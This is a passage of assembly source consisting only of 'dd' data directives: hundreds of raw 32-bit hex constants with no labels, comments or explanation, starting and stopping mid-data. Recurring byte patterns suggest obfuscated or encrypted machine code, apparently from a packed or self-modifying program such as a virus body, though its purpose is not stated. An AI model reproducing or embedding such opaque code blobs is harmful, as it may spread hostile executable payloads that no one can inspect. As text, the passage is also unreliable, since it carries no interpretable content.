		dd 6974A336h, 3820F60h,	66000000h, 8166FE8Bh, 6130F0E7h
		dd 970CF881h, 850FFFFFh, 0FFFFFF79h, 0FE9h, 0F3C1F100h
		dd 44EEBEF7h, 181ECB32h, 907F678Bh, 16E8D8Dh, 0BD0106ADh
		dd 6A60CB5h, 0DA8160h, 0E900BF2Bh, 6, 68747169h, 8961002Eh
		dd 0A606AD8Dh, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 98F0E1A1h, 81667ACFh
		dd 0C7FE58EEh, 0A6040D85h, 5E2C06h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0E8F9E3CDh
		dd 14h,	1782511Bh, 0A305696Dh, 3C4F0898h, 0D0196F50h, 4452B355h
		dd 5798D89h, 0C75B06A6h, 0A60BE985h, 6,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 229C34B6h, 1DB5FF19h, 6A06A62Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0D53BC352h
		dd 28817C3Dh, 667D143Ah, 62B5DB81h, 0EE9h, 25527A00h, 2330C52Ah
		dd 0CCAEAFA7h, 0FF72CE29h, 0A61A7995h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0D077FC6Ah, 54051043h, 0D08ABE69h, 12E9h, 737C4700h
		dd 0A35D1772h, 2772E3B0h, 1FD8B817h, 6A1546BEh,	5995FF00h
		dd 8B06A629h, 0A06DEBC0h, 7CBD2366h, 0FB761E01h, 1F2A5721h
		dd 27C57BD0h, 0B91FC9E0h, 1253E8E6h, 0DE37195Ch, 66705119h
		dd 81A85C73h, 901180DCh, 372ABF32h, 0D4340EB9h,	782CD5C8h
		dd 35B62B3Ch, 3D16A50Ch, 3F65967Fh, 49A6F1E9h, 553F41C4h
		dd 495006B8h, 0B889FBDEh, 0DEE47CCAh, 0A395E868h, 0C80006E8h
		dd 67A03D31h, 133C007Ah, 52EB1B29h, 18272DCCh, 28E8D8Dh
		dd 296006ADh, 0A63255B5h, 0A99D8906h, 6106A606h, 6AD8D89h
		dd 6A06A6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 126B11C3h, 4A6E2A64h, 8BCBC704h, 0A60161BDh
		dd 0CEDA8006h, 40D85C7h, 669006A6h, 8D310000h, 6A61341h
		dd 0BE985C7h, 6A6h, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8A0FFAC3h, 0Eh, 8A0F60h
		dd 8B000000h, 0A62BF18Dh, 0B5FF6106h, 6A615EDh,	0FFF18B66h
		dd 0A61A7995h, 398D8906h, 6A06A62Dh, 5995FF00h,	8B06A629h
		dd 825DEBC0h, 0D008E3E6h, 954A396Ah, 996FB8Dh, 173FF3h
		dd 3FB884F3h, 0F7BEDE42h, 4A8C12A3h, 0A8898B6Ah, 5B27F6C4h
		dd 0F7B3E846h, 678CC5FEh, 0D266A126h, 8F7DB727h, 0D8F31470h
		dd 1EC58010h, 0EF1F8FD2h, 6E333FEFh, 8FE03DF1h,	54FDB0BDh
		dd 3C6DD081h, 0BC30F84Eh, 78557F12h, 761CC9AFh,	12E8h
		dd 5DEFFD00h, 18B1EA8Bh, 28F113A4h, 3040860Ah, 60FE2A54h
		dd 0B58BD38Ah, 6A62E0Dh, 0B58B5F61h, 6A62DADh, 65A8C781h
		dd 0F18B0000h, 194068h,	0C1858900h, 5A06A61Eh, 37FFC78Bh
		dd 1DD88166h, 9D895B6Bh, 6A62979h, 7DB3EB81h, 0B9667EBAh
		dd 0EB817E97h, 7FDD5624h, 11218503h, 0F38106A6h, 26AF785Dh
		dd 12E9h, 0AD365000h, 841C17ABh, 6C31FD3h, 0C40500F9h
		dd 538F4E7Dh, 91F08166h, 81078FA4h, 500349EFh, 0A1858950h
		dd 8106A62Bh, 500345C7h, 1858950h, 8106A619h, 1EAh, 93850F00h
		dd 8BFFFFFFh, 0A62F558Dh, 0BE806h, 93C0000h, 0E49E6129h
		dd 5E7C44A0h, 299D8BE2h, 5F06A61Bh, 1AE99501h, 0C78106A6h
		dd 636Eh, 0BE1CD380h, 0C51CAF9h, 0B256EE81h, 95890C51h
		dd 6A60F4Dh, 8E0F37FFh,	19h, 14E9h, 6FF92F00h, 88826828h
		dd 6E2EEE88h, 928774C6h, 1AB67F7h, 3BB95833h, 8175B37Ah
		dd 0F72E57F0h, 4703BA11h, 0C0810A9Ah, 30FF9D43h, 5E9h
		dd 78E59E00h, 0C081765Fh, 79966B49h, 0D8585ABBh, 0E9078971h
		dd 10h,	0EEF8AC14h, 0EE00BC5Eh,	90840B76h, 65EB544Fh, 8D15EF81h
		dd 0C7811E65h, 1E658D11h, 0EE81EA8Ah, 1, 17850Fh, 81660000h
		dd 0E9C074EAh, 2Ch, 6072F267h, 12B7869Bh, 0A5BB19D8h, 0AE9EBh
		dd 0C59B0000h, 93CB9D87h, 0E2FA201Ch, 0FFFF57E9h, 0D2AFDFFh
		dd 4FE1A619h, 716AF1Fh,	57D8D8Dh, 0DE806ADh, 24000000h
		dd 8A1F0C0h, 0E87602Eh,	747CBA3Ah, 2C3DB509h, 895806A6h
		dd 0A606AD8Dh, 0C9BA6606h, 0D85C791h, 406A604h,	6A000061h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0A05EC355h, 51B738FEh, 0CE8058FCh, 0E985C734h
		dd 6A60Bh, 0BF000000h, 0D44EBC7h, 1EEDB5FFh, 6A06A6h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 6FEF9FC3h, 0A81B18CEh, 95FF2156h, 6A61A79h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0BCC35242h, 0FA51439Fh
		dd 9E8B9h, 0E48C0000h, 0CF1892EEh, 332297FAh, 0A60F0985h
		dd 8F0F5A06h, 16h, 108C0Fh, 0AE80000h, 87000000h, 250D7ECDh
		dd 83CE71Bh, 6A5BE3h, 295995FFh, 0C08B06A6h, 2AC64BEBh
		dd 2E301A78h, 838DAD98h, 877BDAD7h, 0C9766C23h,	0A4192B45h
		dd 46676C82h, 72EF93Ch,	0B7E8BA0Eh, 3E3EB4h
		dd 0E1B352D0h, 0DF9FE8D2h, 42FD3E65h, 0DB6E7DA4h, 0D02AEE6Ch
		dd 0C18881DCh, 17856AA4h, 0BDC4C506h, 3BF4F167h, 718D8D81h
		dd 8B06AD06h, 0A60C1195h, 0AD8D8906h, 6A06A606h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 3EF0C352h, 8A0FA742h, 6, 1321B589h, 85C706A6h, 6A6040Dh
		dd 66A8h, 0BE96053h, 24000000h,	0C07CC6A6h, 970B57D8h
		dd 61FC758Dh, 0E985C75Eh, 6A60Bh, 66000000h, 5B58DA81h
		dd 15EDB5FFh, 6A06A6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 57188AC3h, 2D950B4Bh, 0FF06A60Eh
		dd 0A61A7995h, 6AF506h,	295995FFh, 0C08B06A6h, 46B05DEBh
		dd 0D441AB27h, 0C09C3287h, 0A35F4BB8h, 55242BBAh, 0E659A29Fh
		dd 0B3EA7D08h, 3FE3ABF9h, 7C757787h, 87CBC199h,	582D2F73h
		dd 9FF3F4Bh, 7D4BE69Ah,	0B8E0707Bh, 0D1C04B6Bh,	0F1B1B52Bh
		dd 0E0DF749Eh, 5AA67011h, 0EA394AB5h, 5EC05297h, 709ACB9Eh
		dd 0E70C8FC9h, 9952ED7h, 8D5BCE70h, 0AD078D8Dh,	0C1950906h
		dd 8906A601h, 0A606AD8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 4FF4259Ch
		dd 0B5F2368h, 8D098B1Fh, 6A630E5h, 40D85C7h, 657406A6h
		dd 0B58B0000h, 6A60761h, 0BE985C7h, 6A6h, 9D030000h, 6A60C0Dh
		dd 1155B5FFh, 6A06A6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0D0CE97C3h, 0CE3EC430h, 1EF1B589h
		dd 95FF06A6h, 6A61A79h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0D3C35646h, 0BF665A79h, 6A420Eh, 295995FFh
		dd 0C08B06A6h, 0C2AA7EEBh, 791D5429h, 335805BCh, 4540E111h
		dd 94E482ECh, 216038C1h, 0A18D8B4Eh, 0F4D30B83h, 0CE8AB30Dh
		dd 68400E4Dh, 0F30216Ah, 0BDBEE45Ch, 0CCD9D29h,	0AB3E6BDDh
		dd 503F560Eh, 0D4675A68h, 8A8CD25Dh, 984E1C01h,	0A3FF59CDh
		dd 0D3F4691Ah, 5B45390Fh, 8682862Ch, 5C8CAC88h,	8F045273h
		dd 0EC5B0511h, 2E12E538h, 58D36FAAh, 0F5214C1h,	0D972D56Eh
		dd 0A8E97480h, 4BD37024h, 0AB4ACF68h, 13E8h, 8A843500h
		dd 25C916E9h, 1BB06BDFh, 51A42680h, 1BFA4BD5h, 0AFF4BE66h
		dd 8196B459h, 6C07C1h, 0C3BF0F00h, 34FFD233h, 1BF660Ah
		dd 85295BEBh, 6A60041h,	0B79FEB81h, 0DE9557Ch, 82000000h
		dd 94DDF7A8h, 0D36D3118h, 0A69FB9D6h, 0A412EB81h, 89517327h
		dd 0A61F49B5h, 0EB815F06h, 143E1F30h, 1A25BD33h, 1C8906A6h
		dd 29858B11h, 106A606h,	0A608F585h, 4EA8306h, 10DBD8Bh
		dd 0FA8106A6h, 0FFFF94A8h, 19850Fh, 858B0000h, 6A632EDh
		dd 1FE9h, 77A5CF00h, 51E58183h,	0FBAF7AA4h, 8B687808h
		dd 0A610D9BDh, 0FF78E906h, 0FDA7FFFFh, 0CF8BA071h, 9C38D8Dh
		dd 6A06ADh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 14E965C3h, 9C000000h, 0DC5398Fh, 8B8F9E7Ah
		dd 56A54C3Ch, 147601A4h, 89FA17A9h, 0A606AD8Dh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0C7F9DA84h, 0A6040D85h, 60BC06h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0CFBF66DAh
		dd 0E985C7D5h, 6A60Bh, 0F000000h, 0B5FFC6BFh, 6A60F49h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 31C35747h
		dd 7E96D646h, 8B4C6380h, 0A6116985h, 6860F06h, 81000000h
		dd 14FFA5D3h, 7995FF47h, 6A06A61Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F5F1C352h
		dd 95FF006Ah, 6A62959h,	2AEBC08Bh, 849D9627h, 8DE00B32h
		dd 0E9339018h, 797154ADh, 93B2A6D8h, 2654DC95h,	54581040h
		dd 161C69B2h, 0DDFEBFE6h, 6A1C695h, 5E8DEBFh, 35000000h
		dd 0FD942076h, 0AE95660h, 0ED000000h, 3E769B30h, 0B4A0F488h
		dd 0B5895EE1h, 6A62E31h, 0BD335E61h, 6A618D9h, 6E78C681h
		dd 0BB0000h, 2B000000h,	0A6088995h, 1E048B06h, 0BE9h, 9C1D8900h
		dd 0E8597CB5h, 6588056Ch, 0AB1BC081h, 0CA8B6943h, 953FC081h
		dd 0AE8052Fh, 80000000h, 84B4D580h, 7DB4CCABh, 0D38B66FEh
		dd 8FE88159h, 8B6E9A19h, 0A632F5BDh, 10E85006h,	28000000h
		dd 52204444h, 2DC60923h, 4CF2D149h, 0F89E0483h,	1E048F5Fh
		dd 2F5D8D8Bh, 9D8906A6h, 6A60C91h, 8B04EB83h, 0A632D98Dh
		dd 3CFB8106h, 0FFFFF92h, 0FFFF8485h, 81B589FFh,	0E806A629h
		dd 0Eh,	9004ADD9h, 0BDE702CFh, 49231298h, 952BED3Fh, 6A63049h
		dd 15C68159h, 813C78ABh, 6AD6C1h, 68E0F00h, 8B000000h
		dd 0A63301B5h, 1A89BF06h, 0D98B0000h, 0E38031FFh, 8B665882h
		dd 5DF081F0h, 661725EDh, 44DFF281h, 5161C081h, 0D98B34EBh
		dd 368AF081h, 9D893BD2h, 6A632BDh, 0B5B52B50h, 8F06A61Bh
		dd 398D2901h, 8106A608h, 0CD9CC5E9h, 0AE955h, 3110000h
		dd 0AA18874Ah, 7B8B8C29h, 9CC1C181h, 0F18B55CDh, 0E850F4Fh
		dd 66000000h, 0E98833BEh, 1Eh, 0B9D8B27Dh, 89958BF9h, 0E906A607h
		dd 0FFFFFF8Ch, 7047C17Dh, 7CF221DCh, 0B34D654Ch, 0EE8574Ah
		dd 94000000h, 0DC938B84h, 656B77Ah, 0E11756D6h,	95B5338Eh
		dd 5A06A618h, 0AA1BB866h, 6620C281h, 0C18B0000h, 195E68h
		dd 89B58B00h, 5F06A606h, 8BF38B66h, 0DDB5891Ah,	8106A613h
		dd 16CEEEBh, 97EB8162h,	6003D1D4h, 66FEB70Fh, 3CAEDA81h
		dd 0F6EB8161h, 892CB568h, 0A62ADDBDh, 28F5306h,	860Fh
		dd 0EA830000h, 6E904h, 16750000h, 8EBE17CDh, 1EF81h, 850F0000h
		dd 18h,	35858Bh, 24E906A6h, 3D000000h, 831B8121h, 387FFFC5h
		dd 485D5A3Eh, 0FFFF96E9h, 5EBDA5FFh, 2A9F8DF1h,	0ED694517h
		dd 1D2B02Ch, 42E3EC94h,	6A234ACh, 7AA27C24h, 533BB37Dh
		dd 21809614h, 9083B42Ah, 0C46F3025h, 0A7863025h, 0B4AD1998h
		dd 8D893023h, 8486305Ah, 54138DA6h, 2E863683h, 908642A1h
		dd 6103F625h, 6A809629h, 79A3D74Dh, 2DB2B1A9h, 0A0AFC282h
		dd 69AF85DAh, 0A40B3683h, 962F4105h, 0B80DE0DAh, 28AFB5E3h
		dd 7AC83683h, 6ECA25ABh, 36A234A4h, 0BDC6C6E4h,	8790A590h
		dd 0B003BD23h, 0B7809954h, 9D7EBBF5h, 12863035h, 98638CCh
		dd 1899625h, 4286302Bh,	2E4F3B6Ch, 6F79C0A0h, 488BD9DAh
		dd 0B90B3025h, 14207F70h, 986359Dh, 965CF25h, 0EF8A2B98h
		dd 0F80BBD23h, 28809D29h, 0CEB61537h, 4247FF0Eh, 6A234ACh
		dd 7AA27C24h, 533BB37Dh, 21809614h, 9083B42Ah, 0C46F3025h
		dd 0A7863025h, 5E98398h, 22B9A4F3h, 0E8000000h,	0Dh, 63CF57ECh
		dd 9C0ED14Dh, 17E9ADDCh, 0BE93Ah, 37CD0000h, 7F319AB2h
		dd 4C77E87Ah, 0C2815816h, 34BE116Eh, 59E0C081h,	9D330000h
		dd 6A62CE1h, 0BFh, 7D958900h, 0FF06A607h, 8B0F0734h, 1Dh
		dd 13E860h, 9A620000h, 0F8638C01h, 0F782716Fh, 70A5FED7h
		dd 355E596Ah, 0CA8A5924h, 81665E61h, 816283E2h,	571F11EEh
		dd 0D0BF0F08h, 61ADC681h, 31601D4Eh, 0A60F8995h, 0C1858906h
		dd 6106A611h, 0AC8CC681h, 31602FE0h, 0A60649BDh, 61FA8B06h
		dd 8A383489h, 498D89D4h, 8106A61Dh, 6F2EFBEFh
		dd 0DBD896Eh, 8106A600h, 6F2EF7C7h, 9503506Eh, 6A605B1h
		dd 1CFF8159h, 0FFFFFA7h, 2885h,	0AE800h, 62610000h, 52A83713h
		dd 46E1DF7Bh, 0E95A68B7h, 24h, 0BC9634E0h, 9D67C918h, 0F44D8CEBh
		dd 91B1D5D7h, 0B9958B61h, 0E906A62Bh, 0FFFFFF43h, 481247h
		dd 0B0D9C2FAh, 5E8h, 71026900h,	4AB8895Fh, 5A02AC03h, 4810Fh
		dd 0BB660000h, 0C281F9A3h, 6425h, 11859531h, 6806A6h, 5F000000h
		dd 0FFC78B66h, 0B58B1734h, 6A6320Dh, 0CE859h, 0A90000h
		dd 6DC1E355h, 0A6F2B63h, 9D8BB453h, 6A62901h, 0F0C1815Eh
		dd 667941E2h, 0F181C28Bh, 6D40131Ah, 81F1BF0Fh,	0B57F38F1h
		dd 7FBE6625h, 810F51E0h, 6, 501B58Bh, 48F06A6h,	458D893Ah
		dd 6606A601h, 0FE4CB81h, 903EF83h, 0A62CCDBDh, 0B58B4F06h
		dd 6A61E79h, 9C9CFF81h,	850FFFFFh, 0Dh,	1FE9C68Bh, 8D000000h
		dd 720B54AFh, 3FEB807Fh, 0FFFF76E9h, 91062BFFh,	6E0254E8h
		dd 3B633D32h, 9FF97FC6h, 8D8DA6E6h, 6AD0F58h, 0AD8D89FCh
		dd 8106A606h, 5003CDDAh, 0D85C738h, 806A604h, 6A000070h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0E45CC352h, 9D29BDBEh, 0B52B0CCDh, 6A6183Dh
		dd 0BE985C7h, 6A6h, 0BD8B0000h,	6A62A2Dh, 32A1B5FFh, 6A06A6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0F9F58C3h, 7995FF55h, 8B06A61Ah, 0FF006ADEh,	0A6295995h
		dd 0EBC08B06h, 0FFC0B95Fh, 5A8405C0h, 7931ACBBh, 33C9DC18h
		dd 0CFFE2130h, 54957B00h, 288ABDB9h, 4D6A1CFDh,	0AC3A10F2h
		dd 0DE4D1EA6h, 16B3D917h, 715D6D23h, 17A04D00h,	5C1CBBBh
		dd 658328Bh, 207F37F0h,	0C3528007h, 0DCD5784Bh,	527F1994h
		dd 81FE9B38h, 5C72D65Ah, 3876DD79h, 3D2C08FFh, 0A296E20Dh
		dd 7E9h, 7ED5800h, 23h,	88CE9h,	3BD19600h, 6D87A7EEh, 9E7475D0h
		dd 0CA240403h, 0FA2CD07Fh, 36C11CAFh, 0C641DC0Ah, 91BC09E7h
		dd 0A2ED38EEh, 57DF6A80h, 0E6C56EC9h, 0B0EB3361h, 0E93F57E2h
		dd 2B3F35CCh, 4F8E74C1h, 0D222A8B6h, 60222B2Eh,	0C94A180Dh
		dd 3EB239F1h, 315C0DE5h, 0E300AB0Fh, 0E5336A31h, 8D7128C6h
		dd 0B10CF8D2h, 92175FB7h, 1A2A181Dh, 0DE7FB48h,	0FC5FE563h
		dd 336AA457h, 0B92A6159h, 0AF336AA4h, 418C2133h, 7DD28B61h
		dd 7FA954F3h, 529ED4CEh, 1AF0F220h, 293AA18Fh, 1F3C9AC3h
		dd 0D62D5157h, 0DC394B27h, 0F6589C25h, 6164h, 8A7A2E00h
		dd 21531B3Dh, 0DA69FB67h, 37B9E036h, 2230DA88h,	4A76F39Dh
		dd 98F9A09Ch, 82AE7C96h, 10BB2307h, 35CCA6F3h, 68110DE5h
		dd 560F9A76h, 0F0FEE7BBh, 29FAh, 0B95BB800h, 8B5A016Fh
		dd 3350FB65h, 2535CCE9h, 0F316B7CDh, 35CCE95Bh,	0BA689A86h
		dd 63F54096h, 1Ah, 74A24EF5h, 0B95BA2FEh, 749B3E6Fh, 2235CCE9h
		dd 24C81A68h, 7F6B81A1h, 0E11CE822h, 17BC3A24h,	138FBE50h
		dd 0C1F0FE41h, 0CE63EB2h, 0DB31325Dh, 6A79E64Eh, 6BF9E584h
		dd 0BCED0724h, 0F07E9756h, 14DBBB47h, 36574338h, 32E0129Eh
		dd 0C74EDB31h, 6B855BE2h, 0B5D4C032h, 23CD9C3Bh, 0EFFF987Ah
		dd 0B7CC4F05h, 673880DAh, 0D68B59ABh, 1C55E13Ch, 7A9723E6h
		dd 20D22C8Ah, 2D27AE6Dh, 875BA6F8h, 0E9C5133Eh,	7A1DA95Dh
		dd 0B9E00EDDh, 13B01B45h, 535CCE9h, 0F33ED7ADh,	27F3FEB0h
		dd 742A8B8h, 7C6A65AAh,	817D2C18h, 780AE0C6h, 621Fh, 0E61C8300h
		dd 0EE9F7170h, 7A8C18F4h, 0ACC576FCh, 0B235CCE9h, 0E99E3358h
		dd 798035CCh, 0F8DA8369h, 4FE8760Ch, 35CCE922h,	7A42DE34h
		dd 0E89DE48Ah, 0B72089FAh, 35CCC51Ah, 0BCBA960Ch, 0CCC5F61Bh
		dd 7002F835h, 0DD7AB6E2h, 266DE70Dh, 7A53EF05h,	45E432DDh
		dd 247E0B59h, 0E60CDD7Ah, 420E6Ch, 1C520000h, 9E4523E6h
		dd 1F5321CFh, 0E309DD7Ah, 156FB9A4h, 0E9872C8Fh, 236835CCh
		dd 4CA6803Dh, 8AB52950h, 950930E6h, 2E7A6DB9h, 0BD1E865Bh
		dd 35CCE914h, 78B4A01Ah, 0EE49D7A1h, 35CCE945h,	0ADE57F6Bh
		dd 36D875Bh, 156FB9A4h,	6A0211B0h, 91135D0h, 0D33929FBh
		dd 0D03E2E95h, 0FA61CF82h, 7CAA56EBh, 6FE5D980h, 8CEA3C20h
		dd 0AFE80227h, 0A91C56B8h, 0C2AC7A66h, 0B4B3B832h, 3B497E1Bh
		dd 8BF9B58Ah, 0D461B759h, 17C1E348h, 1FF68C76h,	0F0FAF4E4h
		dd 8E6DBE56h, 54F11A23h, 54651Eh, 7A2D0000h, 32445E8Ah
		dd 0EB53FCBDh, 3CF61F8h, 349BE9C5h, 25ADDC36h, 0A8036DA8h
		dd 3EB20126h, 0ADC7B01h, 506ABE0h, 0B228336Ah, 0F69703A0h
		dd 2D0220Eh, 7ACCA20h, 27CD9D20h, 0F9A09C06h, 2A324F05h
		dd 1CB526ACh, 2336A05h,	54EE3A8h, 7A50336Ah, 875BA8E8h
		dd 17D63C6Dh, 0EBC770FEh, 0F33EB2C4h, 0DF838A07h, 84E7EA31h
		dd 0F9D5D8FFh, 0AAC30140h, 0CAD6BFD8h, 0FCEC4BB8h, 0FD776B12h
		dd 32D9456h, 0C0ACF9D5h, 0F811984Ch, 7301160Bh,	81A71ECCh
		dd 0A4C52F3Ch, 2B524E3Ah, 8DEB22A3h, 63B55807h,	0A8BFD83Ah
		dd 0A9BB2746h, 0ABD4D016h, 912C86B5h, 9DD7A45h,	6D6591E3h
		dd 0F9451EAAh, 36D875Bh, 3C6D87A4h, 0A9F0B0C2h,	7D9641CFh
		dd 6335CCE9h, 0DA5FD77h, 0F3FEB0A6h, 2DA5h, 0E61C6D00h
		dd 0AC987270h, 0B0D17A10h, 0A635CCE9h, 0DD7AF04Ch, 46B8E10Fh
		dd 5BCAA60Ch, 66B76886h, 35713F99h, 5A1CD59h, 1972h, 0E61CD600h
		dd 0AD997370h, 0B0D17A11h, 6735CCE9h, 2E7A3F8Bh, 0D06C865Bh
		dd 875B05A1h, 5EB0B01Fh, 0CCE9943Dh, 34209A35h,	0CC2BDB15h
		dd 0CC5C232h, 312A5BFh,	1035D0ABh, 3A28FA08h, 0D6FA45D0h
		dd 0A365900h, 363592DCh, 3A1B8AD8h, 24C81A68h, 12B9A7F2h
		dd 33AAB86Eh, 0F0FBE798h, 489A8522h, 8D7E83F2h,	0F2AB879Ch
		dd 5CF56600h, 4235C989h, 44611A68h, 21000000h, 3C6D875Bh
		dd 70FE17D6h, 0B2C387C7h, 0D6F9663Eh, 5CF56600h, 42336AF2h
		dd 4DA51A68h, 8AF8A01Ch, 0F92FD279h, 0E806246Bh, 0EA0C4004h
		dd 70FEEA4Bh, 0DD2041EAh, 5407336Ah, 336ADD3Fh,	249EC921h
		dd 5BC7132Eh, 0D63C6D87h, 0C770FE17h, 3EB2D587h, 0D6382857h
		dd 7A13AFFAh, 0CE432DDh, 0A468A92h, 1CE87A09h, 459723E6h
		dd 6D875BF9h, 6A84A403h, 1DA95818h, 0FEB0A60Dh,	33A5F3h
		dd 1C6D0000h, 7A9723E6h, 93E10FDDh, 0E939AA0Dh,	0B32F35CCh
		dd 5B2E7A67h, 0A1D06C86h, 457205h, 5F040000h, 0DA611B5h
		dd 1335CCE9h, 0DA8CCBA7h, 0DF950930h, 0CDD7A83h, 95B47E6h
		dd 640205FDh, 9052EBFFh, 0BCF48E7Ah, 0AC57FC7Ah, 85DFC37Ah
		dd 0CCE99132h, 0DE6A4635h, 865B2E7Ah, 0BAA5026Ch, 0B3C13D6Ch
		dd 7A05A1FFh, 0A915A38Ah, 0EB79D913h, 3D6C86A4h, 362C43B3h
		dd 0E3BC09E2h, 88772E91h, 5C4435D0h, 1CF6F426h,	4EA48681h
		dd 8C36B71Fh, 184632DCh, 0DF353592h, 9D3E34AEh,	3EB79771h
		dd 0C46DCE54h, 0EA336787h, 623F00F0h, 36125C31h, 9E2B873Ch
		dd 23E61C44h, 0CDD7A97h, 95B47E6h, 0DD7A9AA4h, 5A44E533h
		dd 5B4BF56Ah, 0E87A5310h, 0D16D875Bh, 0DD7A1DA9h, 7A93E10Fh
		dd 0F3FEB02Fh, 642Eh, 0C9994600h, 15CB7A23h, 3D750FFBh
		dd 0C927E61Ch, 40C5BF6Fh, 84A54F1Ch, 0E6322E1Ah, 0E9B0D17Ah
		dd 4CA635CCh, 0DD1FD222h, 346F3EFDh, 0FC7A623Eh, 0CCE9365Bh
		dd 0D43E2835h, 0AF354FBBh, 4197BA21h, 9CCD1B06h
		dd 7A105022h, 0B2B009DDh, 0C13D6C58h, 0E99F34A7h, 298135CCh
		dd 1DF7F45Bh, 7205A181h, 39h, 0EDD7AD6h, 0F45B9E0h, 0BC080BC7h
		dd 0E9B0D17Ah, 8B6735CCh, 0A66D11EDh, 0F29A1863h, 0FC7A2060h
		dd 0CCE9365Bh, 0B0C23835h, 8A7A7622h, 0E21E1BF2h, 3380D24Ch
		dd 0A148C42Eh, 6D875B05h, 0AF5CB03Ch, 0FFE619Bh, 46DD7EF4h
		dd 5535D0D2h, 6ABCA00Fh, 6DB5CF33h, 0FE5C517h, 8B2CAAB2h
		dd 35C9D366h, 73C09208h, 0EEE4856Fh, 0EF4816EFh, 3EB7E9FFh
		dd 9E45239Fh, 142D27CDh, 27E61CDAh, 0BA02EF6Ch,	4AC6B245h
		dd 875BF945h, 0E9C5133Eh, 2D8A7A5Dh, 87BF23F7h,	5C96ABB9h
		dd 0FEB0A60Dh, 0F5EB50F3h, 0D6779948h, 962F0ECh, 43h, 23E61C89h
		dd 0B0D17A97h, 0A635CCE9h, 0FC7AF04Ch, 0E57F9157h, 0DDD7AADh
		dd 335C46E7h, 8FC52Fh, 7A7DC923h, 0E9365BFCh, 0C23835CCh
		dd 0ABBAB5D2h, 0C092B3B8h, 2200AF89h, 572D91C8h, 50721Bh
		dd 1CD60000h, 0C94523E6h, 0C5776E19h, 0CD85DF90h, 9357FC7Ah
		dd 0B0A78979h, 0B41E5EA9h, 0D9F41DBEh, 4F3B35CCh, 5BFC7AF3h
		dd 35CCE936h, 0ABD20428h, 0D0A21837h, 865B1642h, 0A6C7293Fh
		dd 3068443Ch, 8297CAD8h, 0DD7A1A96h, 5945E432h,	8EC4123Eh
		dd 875BAFFBh, 0BB03C6Dh, 23ABB953h, 0AA0D6BA2h,	3EB2EE00h
		dd 866878E7h, 2E7B57CCh, 0E68A520h, 1DFC41ADh, 0D4FF6438h
		dd 0ED675B02h, 0E22D5CB6h, 0FC732EC0h, 71EC0979h, 9F2FADC6h
		dd 6B47B338h, 0F9D53F2Ch, 2BC1E1ACh, 5898DF72h,	131F52EAh
		dd 0C52F33E1h, 0F71DCD48h, 0C7293F56h, 50A26EA6h, 0CE1804A3h
		dd 0E251239Fh, 919F2AC0h, 0ABD2382Ah, 55719245h, 8B670732h
		dd 6C7EC59Fh, 381E786h,	0D9000000h, 825B821Eh, 0CC9E3168h
		dd 25C80726h, 243B4AF3h, 507C93CAh, 84A8E786h, 0C4E42B52h
		dd 0FDC732Ah, 5D0944E5h, 52A496B7h, 0C281E289h,	4, 4B951h
		dd 0CA290000h, 24148759h, 0E789575Ch, 4C781h, 0EF830000h
		dd 243C8704h, 242C895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h
		dd 81241C89h, 4ECh, 24348900h, 8628C168h, 0EE815E3Fh, 38D918F4h
		dd 545EF589h, 81241C8Bh, 4C4h, 8B95100h, 1000000h, 8B2989D9h
		dd 0C481240Ch, 4, 50241C8Bh, 405E089h, 83000000h, 48704C0h
		dd 2C8B5C24h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h
		dd 0F9655EE9h, 0DD265BFFh, 0FFAD020Dh, 0D81B6857h, 17AFB8A8h
		dd 0C50306ADh, 182CE0FFh, 0F1CC0D11h, 0DAC72101h, 6D432B34h
		dd 5E80D03h, 5000000h, 0E8BE6954h, 843D9BBFh, 8F0F587Ch
		dd 5, 0F88B6651h, 62C0815Fh, 8100005Dh,	57C459CFh, 17356833h
		dd 0E6810000h, 92D3B13h, 0DE85Ah, 0FC590000h, 0FA3B37CCh
		dd 0CF818D6Bh, 667C516Dh, 5E2EB0BBh, 0BE66088Bh, 0E981B79Ah
		dd 49421F9h, 7662C0BBh,	0B5E98165h, 66673931h, 3380DF81h
		dd 8FB7C181h, 8893F41h,	0DE8h, 0D9CD500h, 4CA05CEBh, 0C388C3C9h
		dd 835BEA79h, 484802E8h, 0E5EB8166h, 1EA835Fh, 0FFB6850Fh
		dd 8B66FFFFh, 918D8DFBh, 0E806AD19h, 12h, 0EC5AF72Fh, 2AB72E29h
		dd 5877D7Fh, 81C8F031h,	0BD2B54FCh, 6A615F9h, 0AD8D895Fh
		dd 8906A606h, 0A606898Dh, 0D85C706h, 806A604h, 0B4000063h
